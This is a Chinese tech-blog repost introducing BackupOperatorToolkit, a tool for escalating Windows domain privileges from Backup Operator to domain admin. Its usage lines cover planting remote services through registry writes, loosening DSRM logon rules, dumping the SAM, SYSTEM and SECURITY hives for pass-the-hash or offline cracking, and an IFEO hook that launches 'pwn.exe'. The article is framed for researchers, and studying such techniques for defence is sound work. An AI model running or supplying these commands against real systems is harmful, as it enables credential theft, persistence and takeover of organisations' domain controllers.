前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >如何使用BackupOperatorToolkit将Backup Operator权限提升至域管理权限

如何使用BackupOperatorToolkit将Backup Operator权限提升至域管理权限

作者头像
FB客服
发布2023-08-08 19:46:41
2530
发布2023-08-08 19:46:41
举报
文章被收录于专栏:FreeBuf
关于BackupOperatorToolkit

BackupOperatorToolkit是一款针对域安全的强大工具,该工具引入了多种不同的技术,可以帮助广大研究人员从Backup Operator用户权限提权至域管理员权限。

工具下载

广大研究人员可以直接使用下列命令将该项目源码克隆至本地,并自行完成项目构建:

代码语言:javascript
复制

git clone https://github.com/improsec/BackupOperatorToolkit.git

(向右滑动,查看更多)

除此之外,我们也可以直接访问该项目的【Releases页面】下载该工具的与编译版本。

工具使用

该工具简称BOT,并且拥有四种不同的操作模式。

在运行该工具之前,请先运行下列命令:

代码语言:javascript
复制
runas.exe /netonly /user:domain.dk\backupoperator powershell.exe

(向右滑动,查看更多)

服务模式

服务模式会在远程主机上创建一个服务,该服务将在主机重新启动时执行。

该服务是通过修改远程注册表创建的,这个操作通过将“REG_OPTION_BACKUP_RESTORE”值传递给RegOpenKeyExA和RegSetValueExA来实现。

需要注意的是,我们无法立即执行服务,因为服务控制管理器数据库“SERVICES_ACTIVE_database”会在启动时加载到内存中,并且只能使用本地管理员权限进行修改:

代码语言:javascript
复制
.\BackupOperatorToolkit.exe SERVICE \\PATH\To\Service.exe \\TARGET.DOMAIN.DK SERVICENAME DISPLAYNAME DESCRIPTION
(向右滑动,查看更多)

DSRM模式

DSRM模式会在“HKLM\SYSTEM\CURRENTCONTROLET\CONTROL\LSA”中找到的DsrmAdminLogonBehavior注册表项设置为0、1或2。

将该值设置为0将只允许在恢复模式下使用DSRM帐户。 将该值设置为1将允许在目录服务服务停止且NTDS解锁时使用DSRM帐户。 将该值设置为2将允许DSRM帐户与网络身份验证(如WinRM)一起使用。

如果使用了DUMP模式,并且DSRM帐户已离线破解,请将该值设置为2,并使用将成为本地管理员的DSRM帐户登录到域控制器:

代码语言:javascript
复制
.\BackupOperatorToolkit.exe DSRM \\TARGET.DOMAIN.DK 0||1||2

(向右滑动,查看更多)

DUMP模式

DUMP模式会式将SAM、SYSTEM和SECURITY配置单元转储到远程主机上的本地路径,或将文件上传到网络共享。

一旦配置单元被转储,我们就可以使用域控制器哈希进行PtH,破解DSRM并启用网络身份验证,或者可能使用转储中的另一个帐户进行身份验证:

代码语言:javascript
复制
.\BackupOperatorToolkit.exe DUMP \\PATH\To\Dump \\TARGET.DOMAIN.DK

(向右滑动,查看更多)

IFEO模式

IFEO模式(图像文件执行选项)将使我们能够在特定进程终止时运行应用程序。这可能会在SERVICE模式之前授权拿到Shell,以防目标主机被大量使用且很少重新启动:

代码语言:javascript
复制
.\BackupOperatorToolkit.exe IFEO notepad.exe \\Path\To\pwn.exe \\TARGET.DOMAIN.DK

(向右滑动,查看更多)

项目地址

BackupOperatorToolkit

https://github.com/improsec/BackupOperatorToolkit

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-08-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 工具下载
  • 工具使用
    • (向右滑动,查看更多)
      • 服务模式
        • DSRM模式
          • (向右滑动,查看更多)
            • DUMP模式
              • (向右滑动,查看更多)
                • IFEO模式
                  • (向右滑动,查看更多)
                  • 项目地址
                  相关产品与服务
                  多因子身份认证
                  多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
                  领券
                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档